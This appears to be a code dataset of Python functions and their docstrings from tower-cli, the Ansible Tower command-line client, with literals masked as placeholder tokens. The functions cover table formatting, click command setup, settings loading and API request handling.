{"signature": "def _format_human(self, payload):", "body": "page = None<EOL>total_pages = None<EOL>columns = [field.name for field in self.resource.fields<EOL>if field.display or settings.description_on and<EOL>field.name == '<STR_LIT:description>']<EOL>columns.insert(<NUM_LIT:0>, '<STR_LIT:id>')<EOL>fields_by_name = {}<EOL>for field in self.resource.fields:<EOL><INDENT>fields_by_name[field.name] = field<EOL><DEDENT>if '<STR_LIT>' in payload and '<STR_LIT:id>' not in payload:<EOL><INDENT>return '<STR_LIT>'.format(<EOL>six.text_type(payload['<STR_LIT>']).lower(),<EOL>)<EOL><DEDENT>if '<STR_LIT:id>' not in payload and '<STR_LIT>' not in payload:<EOL><INDENT>columns = [i for i in payload.keys()]<EOL><DEDENT>if '<STR_LIT>' in payload:<EOL><INDENT>raw_rows = payload['<STR_LIT>']<EOL>if payload.get('<STR_LIT:count>', <NUM_LIT:0>) > len(payload['<STR_LIT>']):<EOL><INDENT>prev = payload.get('<STR_LIT>', <NUM_LIT:0>) or <NUM_LIT:0><EOL>page = prev + <NUM_LIT:1><EOL>count = payload['<STR_LIT:count>']<EOL>if payload.get('<STR_LIT>', None):<EOL><INDENT>total_pages = math.ceil(count / len(raw_rows))<EOL><DEDENT>else:<EOL><INDENT>total_pages = page<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raw_rows = [payload]<EOL><DEDENT>if not raw_rows:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>widths = {}<EOL>for col in columns:<EOL><INDENT>widths[col] = max(<EOL>len(col),<EOL>*[len(self.get_print_value(i, col)) for i in raw_rows]<EOL>)<EOL>fd = fields_by_name.get(col, None)<EOL>if fd is not None and fd.col_width is not None:<EOL><INDENT>widths[col] = fd.col_width<EOL><DEDENT><DEDENT>divider_row = '<STR_LIT>'<EOL>for col in columns:<EOL><INDENT>divider_row += '<STR_LIT:=>' * widths[col] + '<STR_LIT:U+0020>'<EOL><DEDENT>divider_row.rstrip()<EOL>header_row = '<STR_LIT>'<EOL>for col in columns:<EOL><INDENT>header_row += ('<STR_LIT>' % widths[col]).format(col) + '<STR_LIT:U+0020>'<EOL><DEDENT>header_row.rstrip()<EOL>data_rows = []<EOL>for raw_row in raw_rows:<EOL><INDENT>data_row = '<STR_LIT>'<EOL>for col in columns:<EOL><INDENT>template = six.text_type('<STR_LIT>') % widths[col]<EOL>value = self.get_print_value(raw_row, col)<EOL>if isinstance(raw_row.get(col, '<STR_LIT>'), (bool, int)):<EOL><INDENT>template = template.replace('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>fd = fields_by_name.get(col, None)<EOL>if fd is not None and fd.col_width is not None:<EOL><INDENT>str_value = template.format(value or '<STR_LIT>')<EOL>if len(str_value) > fd.col_width:<EOL><INDENT>value = str_value[:fd.col_width]<EOL><DEDENT><DEDENT>data_row += template.format(value or '<STR_LIT>') + '<STR_LIT:U+0020>'<EOL><DEDENT>data_rows.append(data_row.rstrip())<EOL><DEDENT>response = '<STR_LIT:\\n>'.join((<EOL>divider_row, header_row, divider_row,<EOL>'<STR_LIT:\\n>'.join(data_rows),<EOL>divider_row,<EOL>))<EOL>if page and total_pages != <NUM_LIT:1>:<EOL><INDENT>response += '<STR_LIT>' % (page, total_pages)<EOL><DEDENT>if payload.get('<STR_LIT>', False):<EOL><INDENT>response = '<STR_LIT>' + response<EOL><DEDENT>return response<EOL>", "docstring": "Convert the payload into an ASCII table suitable for\n        printing on screen and return it.", "id": "f3341:c0:m8"}
{"signature": "def get_command(self, ctx, name):", "body": "<EOL>if not hasattr(self.resource, name):<EOL><INDENT>return None<EOL><DEDENT>method = getattr(self.resource, name)<EOL>attrs = getattr(method, '<STR_LIT>', {})<EOL>help_text = inspect.getdoc(method)<EOL>attrs['<STR_LIT>'] = self._auto_help_text(help_text or '<STR_LIT>')<EOL>ignore_defaults = attrs.pop('<STR_LIT>', False)<EOL>new_method = self._echo_method(method)<EOL>click_params = getattr(method, '<STR_LIT>', [])<EOL>new_method.__click_params__ = copy(click_params)<EOL>new_method = with_global_options(new_method)<EOL>fao = attrs.pop('<STR_LIT>', True)<EOL>if fao:<EOL><INDENT>for field in reversed(self.resource.fields):<EOL><INDENT>if not field.is_option:<EOL><INDENT>continue<EOL><DEDENT>if not isinstance(fao, bool) and field.name not in fao:<EOL><INDENT>continue<EOL><DEDENT>args = [field.option]<EOL>if field.key:<EOL><INDENT>args.insert(<NUM_LIT:0>, field.key)<EOL><DEDENT>short_fields = {<EOL>'<STR_LIT:name>': '<STR_LIT:n>',<EOL>'<STR_LIT:description>': '<STR_LIT:d>',<EOL>'<STR_LIT>': '<STR_LIT:i>',<EOL>'<STR_LIT>': '<STR_LIT:e>'<EOL>}<EOL>if field.name in short_fields:<EOL><INDENT>args.append('<STR_LIT:->'+short_fields[field.name])<EOL><DEDENT>option_help = field.help<EOL>if isinstance(field.type, StructuredInput):<EOL><INDENT>option_help += '<STR_LIT>'<EOL><DEDENT>if field.required:<EOL><INDENT>option_help = '<STR_LIT>' + option_help<EOL><DEDENT>elif field.read_only:<EOL><INDENT>option_help = '<STR_LIT>' + option_help<EOL><DEDENT>option_help = '<STR_LIT>' + option_help<EOL>click.option(<EOL>*args,<EOL>default=field.default if not ignore_defaults else None,<EOL>help=option_help,<EOL>type=field.type,<EOL>show_default=field.show_default,<EOL>multiple=field.multiple,<EOL>is_eager=False<EOL>)(new_method)<EOL><DEDENT><DEDENT>cmd = click.command(name=name, cls=ActionSubcommand, **attrs)(new_method)<EOL>code = six.get_function_code(method)<EOL>if '<STR_LIT>' in code.co_varnames:<EOL><INDENT>click.argument('<STR_LIT>', nargs=<NUM_LIT:1>, required=False, type=str, metavar='<STR_LIT>')(cmd)<EOL><DEDENT>return cmd<EOL>", "docstring": "Retrieve the appropriate method from the Resource,\n        decorate it as a click command, and return that method.", "id": "f3341:c0:m9"}
{"signature": "def format_command_subsection(self, ctx, formatter, commands, header):", "body": "rows = []<EOL>for subcommand in commands:<EOL><INDENT>cmd = self.get_command(ctx, subcommand)<EOL>if cmd is None:<EOL><INDENT>continue<EOL><DEDENT>help = cmd.short_help or '<STR_LIT>'<EOL>rows.append((subcommand, help))<EOL><DEDENT>if rows:<EOL><INDENT>with formatter.section(header):<EOL><INDENT>formatter.write_dl(rows)<EOL><DEDENT><DEDENT>", "docstring": "Writes help text for a sub-section of commands,\n        specifically to be reused for resource commands\n        and system/configuration commands.", "id": "f3342:c0:m2"}
{"signature": "def format_commands(self, ctx, formatter):", "body": "self.format_command_subsection(<EOL>ctx, formatter, self.list_misc_commands(), '<STR_LIT>'<EOL>)<EOL>self.format_command_subsection(<EOL>ctx, formatter, self.list_resource_commands(), '<STR_LIT>'<EOL>)<EOL>", "docstring": "Extra format methods for multi methods that adds all the commands\n        after the options.", "id": "f3342:c0:m3"}
{"signature": "def list_commands(self, ctx):", "body": "commands = set(self.list_resource_commands())<EOL>commands.union(set(self.list_misc_commands()))<EOL>return sorted(commands)<EOL>", "docstring": "Return a list of commands present in the commands and resources\n        folders, but not subcommands.", "id": "f3342:c0:m4"}
{"signature": "def list_resource_commands(self):", "body": "resource_path = os.path.abspath(os.path.join(<EOL>os.path.dirname(__file__),<EOL>os.pardir,<EOL>'<STR_LIT>'<EOL>))<EOL>answer = set([])<EOL>for _, name, _ in pkgutil.iter_modules([resource_path]):<EOL><INDENT>res = tower_cli.get_resource(name)<EOL>if not getattr(res, '<STR_LIT>', False):<EOL><INDENT>answer.add(name)<EOL><DEDENT><DEDENT>return sorted(answer)<EOL>", "docstring": "Returns a list of multi-commands for each resource type.", "id": "f3342:c0:m5"}
{"signature": "def list_misc_commands(self):", "body": "answer = set([])<EOL>for cmd_name in misc.__all__:<EOL><INDENT>answer.add(cmd_name)<EOL><DEDENT>return sorted(answer)<EOL>", "docstring": "Returns a list of global commands, realted to CLI\n        configuration or system management in general.", "id": "f3342:c0:m6"}
{"signature": "def get_command(self, ctx, name):", "body": "<EOL>if name in misc.__all__:<EOL><INDENT>return getattr(misc, name)<EOL><DEDENT>try:<EOL><INDENT>resource = tower_cli.get_resource(name)<EOL>return ResSubcommand(resource)<EOL><DEDENT>except ImportError:<EOL><INDENT>pass<EOL><DEDENT>secho('<STR_LIT>' % name, fg='<STR_LIT>', bold=True)<EOL>sys.exit(<NUM_LIT:2>)<EOL>", "docstring": "Given a command identified by its name, import the appropriate\n        module and return the decorated command.\n\n        Resources are automatically commands, but if both a resource and\n        a command are defined, the command takes precedence.", "id": "f3342:c0:m7"}
{"signature": "def convert(self, value, param, ctx):", "body": "<EOL>if not isinstance(value, str):<EOL><INDENT>return value<EOL><DEDENT>if isinstance(value, six.binary_type):<EOL><INDENT>value = value.decode('<STR_LIT>')<EOL><DEDENT>if value.startswith('<STR_LIT:@>'):<EOL><INDENT>filename = os.path.expanduser(value[<NUM_LIT:1>:])<EOL>file_obj = super(Variables, self).convert(filename, param, ctx)<EOL>if hasattr(file_obj, '<STR_LIT>'):<EOL><INDENT>return file_obj.read()<EOL><DEDENT>return file_obj<EOL><DEDENT>return value<EOL>", "docstring": "Return file content if file, else, return value as-is", "id": "f3343:c1:m0"}
{"signature": "def convert(self, value, param, ctx):", "body": "choice = super(MappedChoice, self).convert(value, param, ctx)<EOL>ix = self.choices.index(choice)<EOL>return self.actual_choices[ix]<EOL>", "docstring": "Match against the appropriate choice value using the superclass\n        implementation, and then return the actual choice.", "id": "f3343:c3:m1"}
{"signature": "def convert(self, value, param, ctx):", "body": "resource = tower_cli.get_resource(self.resource_name)<EOL>if value is None:<EOL><INDENT>return None<EOL><DEDENT>if isinstance(value, int):<EOL><INDENT>return value<EOL><DEDENT>if re.match(r'<STR_LIT>', value):<EOL><INDENT>return int(value)<EOL><DEDENT>if value == '<STR_LIT:null>':<EOL><INDENT>return value<EOL><DEDENT>try:<EOL><INDENT>debug.log('<STR_LIT>'<EOL>'<STR_LIT>' % param.name, header='<STR_LIT>')<EOL>lookup_data = {resource.identity[-<NUM_LIT:1>]: value}<EOL>rel = resource.get(**lookup_data)<EOL><DEDENT>except exc.MultipleResults:<EOL><INDENT>raise exc.MultipleRelatedError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(self.resource_name,<EOL>value),<EOL>)<EOL><DEDENT>except exc.TowerCLIError as ex:<EOL><INDENT>raise exc.RelatedError('<STR_LIT>' %<EOL>(self.resource_name, str(ex)))<EOL><DEDENT>return rel['<STR_LIT:id>']<EOL>", "docstring": "Return the appropriate integer value. If a non-integer is\n        provided, attempt a name-based lookup and return the primary key.", "id": "f3343:c4:m1"}
{"signature": "def parse_args(self, ctx, args):", "body": "if not args and self.no_args_is_help and not ctx.resilient_parsing:<EOL><INDENT>click.echo(ctx.get_help())<EOL>ctx.exit()<EOL><DEDENT>return super(ActionSubcommand, self).parse_args(ctx, args)<EOL>", "docstring": "Parse arguments sent to this command.\n\n        The code for this method is taken from MultiCommand:\n        https://github.com/mitsuhiko/click/blob/master/click/core.py\n\n        It is Copyright (c) 2014 by Armin Ronacher.\n        See the license:\n        https://github.com/mitsuhiko/click/blob/master/LICENSE", "id": "f3345:c0:m1"}
{"signature": "def format_options(self, ctx, formatter):", "body": "field_opts = []<EOL>global_opts = []<EOL>local_opts = []<EOL>other_opts = []<EOL>for param in self.params:<EOL><INDENT>if param.name in SETTINGS_PARMS:<EOL><INDENT>opts = global_opts<EOL><DEDENT>elif getattr(param, '<STR_LIT>', None) and param.help.startswith('<STR_LIT>'):<EOL><INDENT>opts = field_opts<EOL>param.help = param.help[len('<STR_LIT>'):]<EOL><DEDENT>else:<EOL><INDENT>opts = local_opts<EOL><DEDENT>rv = param.get_help_record(ctx)<EOL>if rv is None:<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>opts.append(rv)<EOL><DEDENT><DEDENT>if self.add_help_option:<EOL><INDENT>help_options = self.get_help_option_names(ctx)<EOL>if help_options:<EOL><INDENT>other_opts.append([join_options(help_options)[<NUM_LIT:0>], '<STR_LIT>'])<EOL><DEDENT><DEDENT>if field_opts:<EOL><INDENT>with formatter.section('<STR_LIT>'):<EOL><INDENT>formatter.write_dl(field_opts)<EOL><DEDENT><DEDENT>if local_opts:<EOL><INDENT>with formatter.section('<STR_LIT>'):<EOL><INDENT>formatter.write_dl(local_opts)<EOL><DEDENT><DEDENT>if global_opts:<EOL><INDENT>with formatter.section('<STR_LIT>'):<EOL><INDENT>formatter.write_dl(global_opts)<EOL><DEDENT><DEDENT>if other_opts:<EOL><INDENT>with formatter.section('<STR_LIT>'):<EOL><INDENT>formatter.write_dl(other_opts)<EOL><DEDENT><DEDENT>", "docstring": "Monkey-patch click's format_options method to support option categorization.", "id": "f3345:c0:m2"}
{"signature": "def config_from_environment():", "body": "kwargs = {}<EOL>for k in CONFIG_OPTIONS:<EOL><INDENT>env = '<STR_LIT>' + k.upper()<EOL>v = os.getenv(env, None)<EOL>if v is not None:<EOL><INDENT>kwargs[k] = v<EOL><DEDENT><DEDENT>return kwargs<EOL>", "docstring": "Read tower-cli config values from the environment if present, being\n    careful not to override config values that were explicitly passed in.", "id": "f3351:m0"}
{"signature": "def with_global_options(method):", "body": "<EOL>method = click.option(<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>required=False, callback=_apply_runtime_setting,<EOL>is_eager=True,<EOL>expose_value=False<EOL>)(method)<EOL>method = click.option(<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>required=False, callback=_apply_runtime_setting,<EOL>is_eager=True,<EOL>expose_value=False<EOL>)(method)<EOL>method = click.option(<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>required=False, callback=_apply_runtime_setting,<EOL>is_eager=True,<EOL>expose_value=False<EOL>)(method)<EOL>method = click.option(<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>required=False, callback=_apply_runtime_setting,<EOL>is_eager=True,<EOL>expose_value=False<EOL>)(method)<EOL>method = click.option(<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>type=click.Choice(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:id>']),<EOL>required=False, callback=_apply_runtime_setting,<EOL>is_eager=True,<EOL>expose_value=False<EOL>)(method)<EOL>method = click.option(<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>default=None,<EOL>help='<STR_LIT>',<EOL>is_flag=True,<EOL>required=False, callback=_apply_runtime_setting,<EOL>is_eager=True,<EOL>expose_value=False<EOL>)(method)<EOL>method = click.option(<EOL>'<STR_LIT>',<EOL>default=None,<EOL>help='<STR_LIT>',<EOL>is_flag=True,<EOL>required=False, callback=_apply_runtime_setting,<EOL>is_eager=True,<EOL>expose_value=False<EOL>)(method)<EOL>method = click.option(<EOL>'<STR_LIT>',<EOL>default=None,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>is_flag=True,<EOL>required=False, callback=_apply_runtime_setting,<EOL>is_eager=True,<EOL>expose_value=False<EOL>)(method)<EOL>method = click.option(<EOL>'<STR_LIT>',<EOL>default=None,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>required=False, callback=_apply_runtime_setting,<EOL>is_eager=True,<EOL>expose_value=False<EOL>)(method)<EOL>method = click.option(<EOL>'<STR_LIT>',<EOL>default=None,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>is_flag=True,<EOL>required=False, callback=_apply_runtime_setting,<EOL>is_eager=True,<EOL>expose_value=False<EOL>)(method)<EOL>method = runtime_context_manager(method)<EOL>return method<EOL>", "docstring": "Apply the global options that we desire on every method within\n    tower-cli to the given click command.", "id": "f3351:m3"}
{"signature": "def pop_option(function, name):", "body": "for option in getattr(function, '<STR_LIT>', tuple()):<EOL><INDENT>if option.name == name:<EOL><INDENT>function.__click_params__.remove(option)<EOL><DEDENT><DEDENT>", "docstring": "Used to remove an option applied by the @click.option decorator.\n\nThis is useful for when you want to subclass a decorated resource command\nand *don't* want all of the options provided by the parent class'\nimplementation.", "id": "f3351:m4"}
{"signature": "def _read(self, fp, fpname):", "body": "<EOL>if os.path.isfile(fpname):<EOL><INDENT>file_permission = os.stat(fpname)<EOL>if fpname != os.path.join(tower_dir, '<STR_LIT>') and (<EOL>(file_permission.st_mode & stat.S_IRGRP) or<EOL>(file_permission.st_mode & stat.S_IROTH)<EOL>):<EOL><INDENT>warnings.warn('<STR_LIT>'<EOL>.format(fpname), RuntimeWarning)<EOL><DEDENT><DEDENT>try:<EOL><INDENT>return configparser.ConfigParser._read(self, fp, fpname)<EOL><DEDENT>except configparser.MissingSectionHeaderError:<EOL><INDENT>fp.seek(<NUM_LIT:0>)<EOL>string = '<STR_LIT>' % fp.read()<EOL>flo = StringIO(string)  <EOL>return configparser.ConfigParser._read(self, flo, fpname)<EOL><DEDENT>", "docstring": "Read the configuration from the given file.\n\n        If the file lacks any section header, add a [general] section\n        header that encompasses the whole thing.", "id": "f3351:c0:m0"}
{"signature": "def __init__(self):", "body": "self._cache = {}<EOL>defaults = {}<EOL>for key in CONFIG_OPTIONS:<EOL><INDENT>defaults[key] = '<STR_LIT>'<EOL><DEDENT>defaults.update({<EOL>'<STR_LIT>': '<STR_LIT:true>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT:host>': '<STR_LIT:127.0.0.1>',<EOL>'<STR_LIT>': '<STR_LIT:true>',<EOL>'<STR_LIT>': '<STR_LIT:false>',<EOL>'<STR_LIT>': '<STR_LIT:false>',<EOL>'<STR_LIT>': '<STR_LIT:false>',<EOL>})<EOL>self._defaults = self._new_parser(defaults=defaults)<EOL>self._environment = self._new_parser(defaults=config_from_environment())<EOL>self._global = self._new_parser()<EOL>if os.path.isdir(tower_dir):<EOL><INDENT>try:<EOL><INDENT>os.listdir(tower_dir)<EOL><DEDENT>except OSError:<EOL><INDENT>warnings.warn('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>RuntimeWarning)<EOL><DEDENT>self._global.read(os.path.join(tower_dir, '<STR_LIT>'))<EOL><DEDENT>self._user = self._new_parser()<EOL>user_filename = os.path.join(user_dir, CONFIG_FILENAME)<EOL>self._user.read(user_filename)<EOL>self._local = self._new_parser()<EOL>local_dir = os.getcwd()<EOL>local_dirs = [local_dir] if local_dir not in (user_dir, tower_dir) else []<EOL>while os.path.split(local_dir)[<NUM_LIT:1>]:<EOL><INDENT>local_dir, _ = os.path.split(local_dir)<EOL>if local_dir not in (user_dir, tower_dir):<EOL><INDENT>local_dirs = [local_dir] + local_dirs<EOL><DEDENT><DEDENT>for local_dir in local_dirs:<EOL><INDENT>local_filename = os.path.join(local_dir, CONFIG_FILENAME)<EOL>self._local.read(local_filename)<EOL><DEDENT>self._runtime = self._new_parser()<EOL>", "docstring": "Create the settings object, and read from appropriate files as\n        well as from `sys.argv`.", "id": "f3351:c1:m1"}
{"signature": "def __getattr__(self, key):", "body": "<EOL>if key in self._cache:<EOL><INDENT>return self._cache[key]<EOL><DEDENT>for parser in self._parsers:<EOL><INDENT>try:<EOL><INDENT>value = parser.get('<STR_LIT>', key)<EOL><DEDENT>except configparser.NoOptionError:<EOL><INDENT>continue<EOL><DEDENT>try:<EOL><INDENT>if CONFIG_PARAM_TYPE[key] == click.STRING or CONFIG_PARAM_TYPE[key] == click.Choice:<EOL><INDENT>value = parser.get('<STR_LIT>', key)<EOL><DEDENT>elif CONFIG_PARAM_TYPE[key] == click.BOOL:<EOL><INDENT>value = parser.getboolean('<STR_LIT>', key)<EOL><DEDENT>elif CONFIG_PARAM_TYPE[key] == click.FLOAT:<EOL><INDENT>value = parser.getfloat('<STR_LIT>', key)<EOL><DEDENT>elif CONFIG_PARAM_TYPE[key] == click.INT:<EOL><INDENT>value = parser.getint('<STR_LIT>', key)<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>click.secho('<STR_LIT>' % key)<EOL><DEDENT>self._cache[key] = value<EOL>return self._cache[key]<EOL><DEDENT>raise AttributeError('<STR_LIT>' % key.lower())<EOL>", "docstring": "Return the approprate value, intelligently type-casted in the\n        case of numbers or booleans.", "id": "f3351:c1:m2"}
{"signature": "@property<EOL><INDENT>def _parsers(self):<DEDENT>", "body": "return tuple([getattr(self, '<STR_LIT>' % i) for i in self._parser_names])<EOL>", "docstring": "Return a tuple of all parsers, in order.\n\n        This is referenced at runtime, to avoid gleefully ignoring the\n        `runtime_values` context manager.", "id": "f3351:c1:m3"}
{"signature": "def set_or_reset_runtime_param(self, key, value):", "body": "if self._runtime.has_option('<STR_LIT>', key):<EOL><INDENT>self._runtime = self._new_parser()<EOL><DEDENT>if value is None:<EOL><INDENT>return<EOL><DEDENT>settings._runtime.set('<STR_LIT>', key.replace('<STR_LIT>', '<STR_LIT>'),<EOL>six.text_type(value))<EOL>", "docstring": "Maintains the context of the runtime settings for invoking\n        a command.\n\n        This should be called by a click.option callback, and only\n        called once for each setting for each command invocation.\n\n        If the setting exists, it follows that the runtime settings are\n        stale, so the entire runtime settings are reset.", "id": "f3351:c1:m4"}
{"signature": "@contextlib.contextmanager<EOL><INDENT>def runtime_values(self, **kwargs):<DEDENT>", "body": "<EOL>for k, v in copy.copy(kwargs).items():<EOL><INDENT>if v is None:<EOL><INDENT>kwargs.pop(k)<EOL>continue<EOL><DEDENT>self._cache.pop(k, None)<EOL>kwargs[k] = six.text_type(v)<EOL><DEDENT>old_runtime_parser = self._runtime<EOL>try:<EOL><INDENT>self._runtime = Parser(defaults=kwargs)<EOL>self._runtime.add_section('<STR_LIT>')<EOL>yield self<EOL><DEDENT>finally:<EOL><INDENT>self._runtime = old_runtime_parser<EOL>for key in kwargs:<EOL><INDENT>self._cache.pop(k, None)<EOL><DEDENT><DEDENT>", "docstring": "=====API DOCS=====\nContext manager that temporarily override runtime level configurations.\n\n:param kwargs: Keyword arguments specifying runtime configuration settings.\n:type kwargs: arbitrary keyword arguments\n:returns: N/A\n\n:Example:\n\n>>> import tower_cli\n>>> from tower_cli.conf import settings\n>>> with settings.runtime_values(username='user', password='pass'):\n>>>     print(tower_cli.get_resource('credential').list())\n\n=====API DOCS=====", "id": "f3351:c1:m5"}
{"signature": "def get_prefix(self, include_version=True):", "body": "host = settings.host<EOL>if '<STR_LIT>' not in host:<EOL><INDENT>host = '<STR_LIT>' % host.strip('<STR_LIT:/>')<EOL><DEDENT>elif host.startswith('<STR_LIT>') and settings.verify_ssl:<EOL><INDENT>raise exc.TowerCLIError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>url_pieces = urlparse(host)<EOL>if url_pieces[<NUM_LIT:0>] not in ['<STR_LIT:http>', '<STR_LIT>']:<EOL><INDENT>raise exc.ConnectionError('<STR_LIT>'.format(url_pieces[<NUM_LIT:0>]))<EOL><DEDENT>prefix = urljoin(host, '<STR_LIT>')<EOL>if include_version:<EOL><INDENT>prefix = urljoin(prefix, \"<STR_LIT>\".format(CUR_API_VERSION))<EOL><DEDENT>return prefix<EOL>", "docstring": "Return the appropriate URL prefix to prepend to requests,\n        based on the host provided in settings.", "id": "f3352:c1:m2"}
{"signature": "@functools.wraps(Session.request)<EOL><INDENT>def request(self, method, url, *args, **kwargs):<DEDENT>", "body": "<EOL>import re<EOL>url = re.sub(\"<STR_LIT>\", \"<STR_LIT>\", url)<EOL>use_version = not url.startswith('<STR_LIT>')<EOL>url = '<STR_LIT>' % (self.get_prefix(use_version), url.lstrip('<STR_LIT:/>'))<EOL>kwargs.setdefault(<EOL>'<STR_LIT>',<EOL>BasicTowerAuth(<EOL>settings.username,<EOL>settings.password,<EOL>self<EOL>)<EOL>)<EOL>headers = kwargs.get('<STR_LIT>', {})<EOL>if method.upper() in ('<STR_LIT>', '<STR_LIT:POST>', '<STR_LIT>'):<EOL><INDENT>headers.setdefault('<STR_LIT:Content-Type>', '<STR_LIT:application/json>')<EOL>kwargs['<STR_LIT>'] = headers<EOL><DEDENT>debug.log('<STR_LIT>' % (method, url), fg='<STR_LIT>', bold=True)<EOL>if method in ('<STR_LIT:POST>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>debug.log('<STR_LIT>' % kwargs.get('<STR_LIT:data>', {}),<EOL>fg='<STR_LIT>', bold=True)<EOL><DEDENT>if method == '<STR_LIT:GET>' or kwargs.get('<STR_LIT>', None):<EOL><INDENT>debug.log('<STR_LIT>' % kwargs.get('<STR_LIT>', {}),<EOL>fg='<STR_LIT>', bold=True)<EOL><DEDENT>debug.log('<STR_LIT>')<EOL>if headers.get('<STR_LIT:Content-Type>', '<STR_LIT>') == '<STR_LIT:application/json>':<EOL><INDENT>kwargs['<STR_LIT:data>'] = json.dumps(kwargs.get('<STR_LIT:data>', {}))<EOL><DEDENT>r = self._make_request(method, url, args, kwargs)<EOL>if r.status_code >= <NUM_LIT>:<EOL><INDENT>raise exc.ServerError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>if r.status_code == <NUM_LIT>:<EOL><INDENT>raise exc.AuthError('<STR_LIT>')<EOL><DEDENT>if r.status_code == <NUM_LIT>:<EOL><INDENT>raise exc.Forbidden(\"<STR_LIT>\")<EOL><DEDENT>if r.status_code == <NUM_LIT>:<EOL><INDENT>raise exc.NotFound('<STR_LIT>')<EOL><DEDENT>if r.status_code == <NUM_LIT>:<EOL><INDENT>raise exc.MethodNotAllowed(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (method, url),<EOL>)<EOL><DEDENT>if r.status_code >= <NUM_LIT>:<EOL><INDENT>raise exc.BadRequest(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(method, url, kwargs.get('<STR_LIT>', None),<EOL>kwargs.get('<STR_LIT:data>', None), r.content.decode('<STR_LIT:utf8>'))<EOL>)<EOL><DEDENT>r.__class__ = APIResponse<EOL>return r<EOL>", "docstring": "Make a request to the Ansible Tower API, and return the\n        response.", "id": "f3352:c1:m3"}
{"signature": "@resources.command<EOL><INDENT>@click.option('<STR_LIT>', help='<STR_LIT>')<EOL>def create(self, fail_on_found=False, force_on_exists=False, **kwargs):<DEDENT>", "body": "if kwargs.get('<STR_LIT>', None):<EOL><INDENT>parent_data = self.set_child_endpoint(parent=kwargs['<STR_LIT>'], inventory=kwargs.get('<STR_LIT>', None))<EOL>kwargs['<STR_LIT>'] = parent_data['<STR_LIT>']<EOL><DEDENT>elif '<STR_LIT>' not in kwargs:<EOL><INDENT>raise exc.UsageError('<STR_LIT>')<EOL><DEDENT>return super(Resource, self).create(fail_on_found=fail_on_found, force_on_exists=force_on_exists, **kwargs)<EOL>", "docstring": "Create a group.\n\n        =====API DOCS=====\n        Create a group.\n\n        :param parent: Primary key or name of the group which will be the parent of created group.\n        :type parent: str\n        :param fail_on_found: Flag that if set, the operation fails if an object matching the unique criteria\n                              already exists.\n        :type fail_on_found: bool\n        :param force_on_exists: Flag that if set, then if a match is found on unique fields, other fields will\n                                be updated to the provided values.; If unset, a match causes the request to be\n                                a no-op.\n        :type force_on_exists: bool\n        :param `**kwargs`: Keyword arguments which, all together, will be used as POST body to create the\n                           resource object.\n        :returns: A dictionary combining the JSON output of the created resource, as well as two extra fields:\n                  \"changed\", a flag indicating if the resource is created successfully; \"id\", an integer which\n                  is the primary key of the created object.\n        :rtype: dict\n        :raises tower_cli.exceptions.UsageError: When inventory is not provided in ``**kwargs`` and ``parent``\n                                                 is not provided.\n\n        =====API DOCS=====", "id": "f3355:c0:m2"}
{"signature": "@resources.command(ignore_defaults=True, no_args_is_help=False)<EOL><INDENT>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', help='<STR_LIT>')<EOL>def list(self, root=False, **kwargs):<DEDENT>", "body": "<EOL>if kwargs.get('<STR_LIT>', None):<EOL><INDENT>self.set_child_endpoint(parent=kwargs['<STR_LIT>'], inventory=kwargs.get('<STR_LIT>', None))<EOL>kwargs.pop('<STR_LIT>')<EOL><DEDENT>if root and not kwargs.get('<STR_LIT>', None):<EOL><INDENT>raise exc.UsageError('<STR_LIT>')<EOL><DEDENT>if root:<EOL><INDENT>inventory_id = kwargs['<STR_LIT>']<EOL>r = client.get('<STR_LIT>' % inventory_id)<EOL>return r.json()<EOL><DEDENT>return super(Resource, self).list(**kwargs)<EOL>", "docstring": "Return a list of groups.\n\n        =====API DOCS=====\n        Retrieve a list of groups.\n\n        :param root: Flag that if set, only root groups of a specific inventory will be listed.\n        :type root: bool\n        :param parent: Primary key or name of the group whose child groups will be listed.\n        :type parent: str\n        :param all_pages: Flag that if set, collect all pages of content from the API when returning results.\n        :type all_pages: bool\n        :param page: The page to show. Ignored if all_pages is set.\n        :type page: int\n        :param query: Contains 2-tuples used as query parameters to filter resulting resource objects.\n        :type query: list\n        :param `**kwargs`: Keyword arguments list of available fields used for searching resource objects.\n        :returns: A JSON object containing details of all resource objects returned by Tower backend.\n        :rtype: dict\n        :raises tower_cli.exceptions.UsageError: When ``root`` flag is on and ``inventory`` is not present in\n                                                 ``**kwargs``.\n\n        =====API DOCS=====", "id": "f3355:c0:m3"}
